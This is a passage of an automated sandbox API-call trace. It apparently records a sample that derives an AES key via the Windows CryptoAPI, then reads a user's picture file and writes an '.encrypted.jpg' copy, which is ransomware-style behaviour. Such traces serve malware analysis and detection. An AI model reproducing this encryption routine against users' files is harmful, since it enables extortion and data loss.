lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg", cchWideChar=46, lpMultiByteStr=0xe8f404bf10, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg", lpUsedDefaultChar=0x0) returned 46 [0027.877] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\k_yns1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=46, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0027.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=46, lpWideCharStr=0xe8f40623a0, cchWideChar=46 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg") returned 46 [0027.879] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.879] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.879] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.879] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.879] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.880] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.880] CloseHandle (hObject=0x188) returned 1 [0027.880] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.880] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.880] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.880] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.880] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.880] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.880] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.880] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.880] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.881] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.881] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.881] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.882] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.882] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.883] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.883] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.883] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.884] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.884] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.884] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.884] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.884] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.884] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.884] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.884] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0027.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\k_yns1.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.886] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.886] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.886] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0027.887] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\k_Yns1.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\k_yns1.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.888] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.888] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.889] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x56ed, lpOverlapped=0x0) returned 1 [0027.889] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.891] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.892] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.892] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, 